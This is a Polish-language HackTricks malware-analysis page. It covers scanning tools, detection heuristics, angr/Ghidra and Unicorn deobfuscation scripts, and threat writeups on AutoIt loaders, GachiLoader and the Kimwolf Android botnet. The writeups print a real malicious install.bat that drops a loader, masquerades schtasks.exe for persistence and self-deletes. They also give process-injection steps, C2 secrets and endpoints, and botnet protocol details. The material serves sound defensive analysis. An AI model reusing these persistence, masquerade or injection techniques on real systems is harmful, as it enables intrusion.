Analiza Malware

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ściągi Forensics

https://www.jaiminton.com/cheatsheet/DFIR/#

Usługi online

Offline narzędzia antywirusowe i wykrywania

Yara

Instalacja

sudo apt-get install -y yara

Przygotuj reguły

Użyj tego skryptu, aby pobrać i scalić wszystkie reguły yara malware z github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\
Utwórz katalog rules i uruchom skrypt. Spowoduje to utworzenie pliku o nazwie malware_rules.yar, który zawiera wszystkie reguły yara malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Skanowanie

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Sprawdź malware i twórz reguły

Możesz użyć narzędzia YaraGen do wygenerowania yara rules z pliku binarnego. Zobacz te tutoriale: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Instalacja

sudo apt-get install -y clamav

Skanowanie

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa wykrywa potencjalnie złośliwe capabilities w plikach wykonywalnych: PE, ELF, .NET. Dzięki temu znajdzie elementy takie jak Att&ck tactics, lub podejrzane capabilities, takie jak:

  • check for OutputDebugString error
  • run as a service
  • create process

Pobierz go z Github repo.

IOCs

IOC oznacza Indicator Of Compromise. IOC to zestaw warunków, które identyfikują pewne potencjalnie niechciane oprogramowanie lub potwierdzone malware. Blue Teams używają tego typu definicji do wyszukiwania tego typu złośliwych plików w swoich systemach i sieciach.
Udostępnianie takich definicji jest bardzo przydatne, ponieważ gdy malware zostanie zidentyfikowane na komputerze i zostanie utworzony IOC dla tego malware, inne Blue Teams mogą go wykorzystać do szybszej identyfikacji malware.

Narzędzie do tworzenia lub modyfikowania IOC to IOC Editor.
Możesz użyć narzędzi takich jak Redline do wyszukiwania zdefiniowanych IOC na urządzeniu.

Loki

Loki jest skanerem Simple Indicators of Compromise.
Detekcja opiera się na czterech metodach wykrywania:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) to skaner malware dla Linuxa wydany na licencji GNU GPLv2, zaprojektowany z myślą o zagrożeniach występujących w środowiskach współdzielonego hostingu. Wykorzystuje dane o zagrożeniach z systemów wykrywania włamań na granicy sieci, aby wydobywać malware aktywnie wykorzystywane w atakach i generować sygnatury do wykrywania. Dodatkowo dane o zagrożeniach pochodzą również z zgłoszeń użytkowników za pomocą funkcji LMD checkout oraz z zasobów społeczności malware.

rkhunter

Narzędzia takie jak rkhunter mogą być użyte do sprawdzenia systemu plików pod kątem możliwych rootkits i malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS to narzędzie, które będzie próbować znaleźć obfuscated strings w plikach wykonywalnych, używając różnych technik.

PEpper

PEpper sprawdza podstawowe rzeczy w pliku wykonywalnym (dane binarne, entropia, URL-e i IP, niektóre reguły YARA).

PEstudio

PEstudio to narzędzie, które pozwala uzyskać informacje o plikach wykonywalnych Windows, takie jak importy, eksporty, nagłówki, ale także sprawdzi VirusTotal i znajdzie potencjalne Att&ck techniques.

Detect It Easy(DiE)

DiE to narzędzie do wykrywania, czy plik jest encrypted oraz do znajdowania packers.

NeoPI

NeoPI to skrypt Python, który używa różnych statistical methods do wykrywania obfuscated i encrypted treści w plikach tekstowych/skryptowych. Celem NeoPI jest pomoc w detection of hidden web shell code.

php-malware-finder

PHP-malware-finder robi wszystko, co w jego mocy, aby wykryć obfuscated/dodgy code oraz pliki używające funkcji PHP często stosowanych w malwares/webshells.

Apple Binary Signatures

Podczas sprawdzania jakiegoś malware sample zawsze powinieneś check the signature pliku binarnego, ponieważ developer, który go podpisał, może być już related z malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Techniki wykrywania

File Stacking

Jeśli wiesz, że jakiś folder zawierający files serwera WWW był last updated on some datesprawdź date utworzenia i modyfikacji wszystkich files na web serverze i jeśli któraś data jest suspicious, sprawdź ten plik.

Linie bazowe

Jeśli pliki w folderze shouldn’t have been modified, możesz obliczyć hash original files z folderu i compare je z current. Wszystko zmodyfikowane będzie suspicious.

Analiza statystyczna

Gdy informacje są zapisywane w logach, możesz check statistics — np. ile razy każdy plik serwera WWW był dostępny; web shell może być jednym z najczęściej wywoływanych.


Android in-app native telemetry (no root)

Na Androidzie możesz instrumentować natywny kod wewnątrz procesu docelowej aplikacji, preloadując małą bibliotekę loggera przed inicjalizacją innych bibliotek JNI. Daje to wczesną widoczność zachowania natywnego bez systemowych hooków ani root. Popularnym podejściem jest SoTap: wrzuć libsotap.so dla odpowiedniego ABI do APK i wstrzyknij wywołanie System.loadLibrary(“sotap”) wcześnie (np. static initializer lub Application.onCreate), a następnie zbieraj logi z internal/external ścieżek lub użyj fallbacku do Logcat.

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Niektóre Android malware i RASP-protected apps ukrywają nazwy i sygnatury metod JNI, dekodując je w czasie wykonywania przed wywołaniem RegisterNatives. Gdy Frida/ptrace instrumentation jest zabijana przez anti-debug, nadal możesz odzyskać plaintext offline, wykonując w-binary decoder za pomocą angr, a potem wpisując wyniki z powrotem do Ghidra jako komentarze.

Kluczowy pomysł: potraktuj decoder wewnątrz .so jako callable function, wykonaj go na zamaskowanych blobach bajtowych w .rodata i konkretuzuj (concretize) wyjściowe bajty aż do pierwszego \x00 (terminator C-string). Utrzymuj angr i Ghidra z tym samym image base, aby uniknąć niezgodności adresów.

Przegląd workflow

  • Triage w Ghidra: zidentyfikuj decoder i jego calling convention/arguments w JNI_OnLoad i konfiguracji RegisterNatives.
  • Uruchom angr (CPython3), aby wykonać decoder dla każdego docelowego stringu i zrzucić wyniki.
  • Annotate w Ghidra: automatycznie skomentuj zdekodowane stringi przy każdym call site, żeby szybko odtworzyć JNI.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes to JNI_OnLoad, aby Ghidra rozpoznała struktury JNINativeMethod.
  • Typowy JNINativeMethod wg dokumentacji Oracle:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Szukaj wywołań RegisterNatives. Jeśli biblioteka konstruuje name/signature za pomocą lokalnej rutyny (np. FUN_00100e10), która odnosi się do statycznej tablicy bajtów (np. DAT_00100bf4) i przyjmuje parametry typu (encoded_ptr, out_buf, length), to jest to idealny cel do offline execution.

angr setup (execute the decoder offline)

  • Załaduj .so z tym samym base, którego użyto w Ghidra (przykład: 0x00100000) i wyłącz auto-loading external libs, aby utrzymać stan mały.
angr setup and offline decoder execution ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Na dużą skalę zbuduj statyczną mapę call sites do argumentów dekodera (encoded_ptr, size). Wrappers mogą ukrywać argumenty, więc możesz utworzyć to mapowanie ręcznie z Ghidra xrefs, jeśli odzyskiwanie API jest niedokładne.

<details>
<summary>Wsadowe dekodowanie wielu call sites za pomocą angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Adnotuj miejsca wywołań w Ghidra Option A: skrypt zapisujący komentarze wyłącznie w Jython (użyj wstępnie przygotowanego JSON)

  • Ponieważ angr wymaga CPython3, utrzymaj deobfuskację i adnotację oddzielnie. Najpierw uruchom powyższy skrypt angr, aby wygenerować decoded_strings.json. Następnie uruchom ten GhidraScript w Jython, aby zapisać PRE_COMMENTs w każdym miejscu wywołania (i dołączyć nazwę funkcji wywołującej jako kontekst):
Ghidra Jython script to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatywnie, użyj pyhidra lub ghidra_bridge, aby sterować API Ghidra z tego samego procesu CPython, w którym działa angr. To pozwala wywołać decode_string() i natychmiast ustawić PRE_COMMENTs bez pliku pośredniego. Logika odzwierciedla skrypt Jython: zbuduj mapę callsite→function za pomocą ReferenceManager, zdekoduj przy użyciu angr i ustaw komentarze.

Why this works and when to use it
- Offline execution sidesteps RASP/anti-debug: no ptrace, no Frida hooks required to recover strings.
- Keeping Ghidra and angr base_addr aligned (e.g., 0x00100000) ensures that function/data addresses match across tools.
- Repeatable recipe for decoders: treat the transform as a pure function, allocate an output buffer in a fresh state, call it with (encoded_ptr, out_ptr, len), then concretize via state.solver.eval and parse C-strings up to \x00.

Notes and pitfalls
- Respect the target ABI/calling convention. angr.factory.callable picks one based on arch; if arguments look shifted, specify cc explicitly.
- If the decoder expects zeroed output buffers, initialize outbuf with zeros in the state before the call.
- For position-independent Android .so, always supply base_addr so addresses in angr match those seen in Ghidra.
- Use currentProgram.getReferenceManager() to enumerate call-xrefs even if the app wraps the decoder behind thin stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuskacja dynamicznego przepływu sterowania (JMP/CALL RAX Dispatchers)

Nowoczesne rodziny malware intensywnie nadużywają obfuskacji grafu przepływu sterowania (Control-Flow Graph, CFG): zamiast bezpośredniego skoku/wywołania obliczają cel w czasie wykonywania i wykonują `jmp rax` lub `call rax`. Mały *dispatcher* (zwykle dziewięć instrukcji) ustawia końcowy cel w zależności od flag CPU `ZF`/`CF`, całkowicie łamiąc statyczne odzyskiwanie CFG.

Technikę — zaprezentowaną przez loader SLOW#TEMPEST — można pokonać za pomocą trzyetapowego procesu, który opiera się wyłącznie na IDAPython i emulatorze CPU Unicorn.

### 1. Zlokalizuj każdy skok/wywołanie pośrednie
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Wyodrębnij dispatcher byte-code

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emuluj to dwukrotnie za pomocą Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Uruchom run(code,0,0) i run(code,1,1), aby uzyskać cele gałęzi false i true.

4. Przywróć oryginalny bezpośredni jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Po załataniu wymuś w IDA ponowną analizę funkcji, aby przywrócić pełny CFG i wynik Hex-Rays:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Oznacz pośrednie wywołania API

Gdy znane jest prawdziwe miejsce docelowe każdego call rax, możesz powiedzieć IDA, czym ono jest, aby typy parametrów i nazwy zmiennych zostały odzyskane automatycznie:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Praktyczne korzyści

  • Przywraca prawdziwy CFG → dekompilacja zwiększa się z 10 linii do tysięcy.
  • Umożliwia string-cross-reference & xrefs, co sprawia, że rekonstrukcja zachowania jest trywialna.
  • Skrypty są wielokrotnego użytku: wrzuć je do dowolnego loadera chronionego tym samym trikiem.

Loadery oparte na AutoIt: .a3x decryption, Task Scheduler masquerade i RAT injection

Ten wzorzec intruzji łączy podpisane MSI, AutoIt loaders skompilowane do .a3x oraz zadanie Task Scheduler podszywające się pod nieszkodliwą aplikację.

MSI → custom actions → AutoIt orchestrator

Drzewo procesów i polecenia wykonywane przez MSI custom actions:

  • MsiExec.exe → cmd.exe aby uruchomić install.bat
  • WScript.exe, aby pokazać zwodniczy dialog błędu
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (zrzuca loader, ustawia persistence, czyści po sobie):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (wabik użytkownika):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Kluczowe artefakty i maskarada:

  • Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
  • Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
  • Tworzy zaplanowane zadanie “IoKlTr”, które uruchamia się co 1 minutę
  • Skrót autostartu widoczny jako Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Umieszcza moduły w podfolderach %APPDATA%\Google\Browser\ zawierających adb lub adv i uruchamia je za pomocą skryptów pomocniczych autoit.vbs/install.bat

Wskazówki do wstępnej analizy sądowej:

  • Enumeracja schtasks: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Szukaj przemianowanych kopii schtasks.exe współlokowanych z Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Typowe ścieżki: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Korelacja tworzenia procesów: AutoIt3.exe uruchamiający legalne binaria Windows (np. cleanmgr.exe, hncfinder.exe)

Loadery AutoIt i odszyfrowanie payload .a3x → injekcja

  • Moduły AutoIt są kompilowane z #AutoIt3Wrapper_Outfile_type=a3x i odszyfrowują osadzone payloady przed wstrzyknięciem do niezłośliwych procesów.
  • Obserwowane rodziny: QuasarRAT (wstrzyknięty do hncfinder.exe) i RftRAT/RFTServer (wstrzyknięty do cleanmgr.exe), a także moduły RemcosRAT (Remcos\RunBinary.a3x).
  • Wzorzec odszyfrowania: wyprowadź klucz AES przez HMAC, odszyfruj osadzony blob, a następnie wstrzyknij odszyfrowany moduł.

Ogólny szkic odszyfrowania (dokładne dane wejściowe HMAC/algorytm są specyficzne dla rodziny):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Typowy przebieg injekcji (CreateRemoteThread-style):

  • CreateProcess (suspended) procesu hosta docelowego (np. cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory z odszyfrowanym modułem/shellcode
  • CreateRemoteThread lub QueueUserAPC do wykonania payloadu

Wskazówki do wykrywania

  • AutoIt3.exe z rodzicem MsiExec.exe lub WScript.exe uruchamiające narzędzia systemowe
  • Pliki z rozszerzeniem .a3x lub interpretery skryptów AutoIt w ścieżkach publicznych / zapisywalnych przez użytkownika
  • Podejrzane scheduled tasks wykonujące AutoIt3.exe lub binaria niepodpisane przez Microsoft, z wyzwalaczami co minutę

Account-takeover abuse of Android Find My Device (Find Hub)

Podczas włamania na Windows operatorzy używali skradzionych poświadczeń Google, aby wielokrotnie wymazywać urządzenia Android ofiary, tłumiąc powiadomienia jednocześnie rozszerzając dostęp przez zalogowany desktop messenger ofiary.

Kroki operatora (z zalogowanej sesji przeglądarki):

  • Otwórz Google Account → Security → Your devices; przejdź do Find My Phone → Find Hub (https://www.google.com/android/find)
  • Wybierz device → ponownie wpisz hasło Google → wykonaj “Erase device” (factory reset); powtarzaj, aby opóźnić odzyskanie
  • Opcjonalnie: usuń alert e-maile w powiązanej skrzynce (np. Naver), aby ukryć powiadomienia bezpieczeństwa

Tracing heavily obfuscated Node.js loaders

Atakujący coraz częściej pakują JavaScript loaders wewnątrz standalone Windows binaries skompilowanych przy użyciu nexe, dzięki czemu runtime jest dostarczany razem ze skryptem. Powstały PE często waży 60–90 MB i uruchamia się nawet jeśli Node.js nie jest zainstalowany. Podczas triage:

  • Użyj nexe_unpacker do wydobycia osadzonego JavaScript z PE i przekazania go do lokalnych narzędzi do statycznego porównania.
  • Spodziewaj się disk-based mutex w %TEMP% (GachiLoader upuszcza losowy plik <name>.lock, który wygasa po ~5 minutach). Skopiowanie pliku do sandboxa przed uruchomieniem pozwala pominąć redundantne etapy, jednocześnie dalej obserwując późniejsze payloady.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • Log filesystem, child-process, and HTTP activity (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Every dropped file—such as kidkadi.node—is copied to the working directory before the malware deletes it.
  • Override environment fingerprints by returning realistic RAM/CPU counts, faking tasklist output, and tampering with PowerShell/WMI responses. This bypasses loaders that demand ≥4 GB RAM, ≥2 cores, and scrutinize user names (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …), and process names (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neuter WMI hardware checks like Get-WmiObject Win32_DiskDrive (looking for vmware, kvm, virtio, …), Win32_VideoController (blocking “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) and Win32_PortConnector counts. When those probes report “real” hardware, sandboxes no longer hit the infinite loop of benign Invoke-WebRequest calls to linkedin.com, grok.com, whatsapp.com, and similar domains that GachiLoader uses to waste analysis time.

Przechwytywanie ograniczonego ruchu C2 automatycznie

Hooki sieciowe tracera ujawniają wielowarstwową autoryzację C2 bez odwracania obfuskacji JavaScriptu. W obserwowanej kampanii loader:

  1. POSTs host telemetry to /log on each hard-coded C2.
  2. Issues GET /richfamily/<per-sample key> with X-Secret: gachifamily to retrieve a Base64-encoded payload URL.
  3. Performs a final GET to that URL with a long per-sample X-Secret header; missing it returns 403 Forbidden.

Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.

AdaptixC2: Configuration Extraction and TTPs

Zobacz dedykowaną stronę:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Wyszukiwanie sekwencji VEOR Q8, Q8, Q9 / veorq_s64 i emulowanie ich zakresów powoduje masowe zrzucanie każdego odszyfrowanego ciągu, omijając krótkotrwałe istnienie tekstu jawnego ograniczone do stosu.

DNS-over-TLS resolution plus XOR IP derivation

  • All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
  • v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant 0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding — mechanizm zapasowy

  • Later builds add an ENS domain (pawsatyou.eth) whose resolver text key "lol" stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599).
  • The bot grabs the last four bytes (1b e7 85 99), XORs them with 0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.

TLS + ECDSA authenticated command channel

  • Traffic is encapsulated in wolfSSL with a custom framed protocol:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: bot wysyła dwa puste nagłówki MsgType=0 (register). C2 odpowiada MsgType=1 (verify), zawierając losowe wyzwanie oraz ASN.1 DER ECDSA podpis. Boty weryfikują go względem osadzonego bloba SubjectPublicKeyInfo; niepowodzenia kończą sesję, uniemożliwiając przejętym/sinkholed węzłom C2 przydzielanie zadań flocie.
  • Po weryfikacji bot wysyła ciało MsgType=0 zawierające zdefiniowany przez operatora group string (np. android-postboot-rt). Jeśli grupa jest włączona, C2 odpowiada MsgType=2 (confirm), po czym zaczyna się tasking (MsgType 5–12).
  • Obsługiwane operacje obejmują proxy w stylu SOCKS dla TCP/UDP (monetyzacja jako residential proxy), reverse shell / single command exec, odczyt/zapis plików oraz Mirai-compatible DDoSBody payloady (taki sam układ AtkType, Duration, Targets[], Flags[]).

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks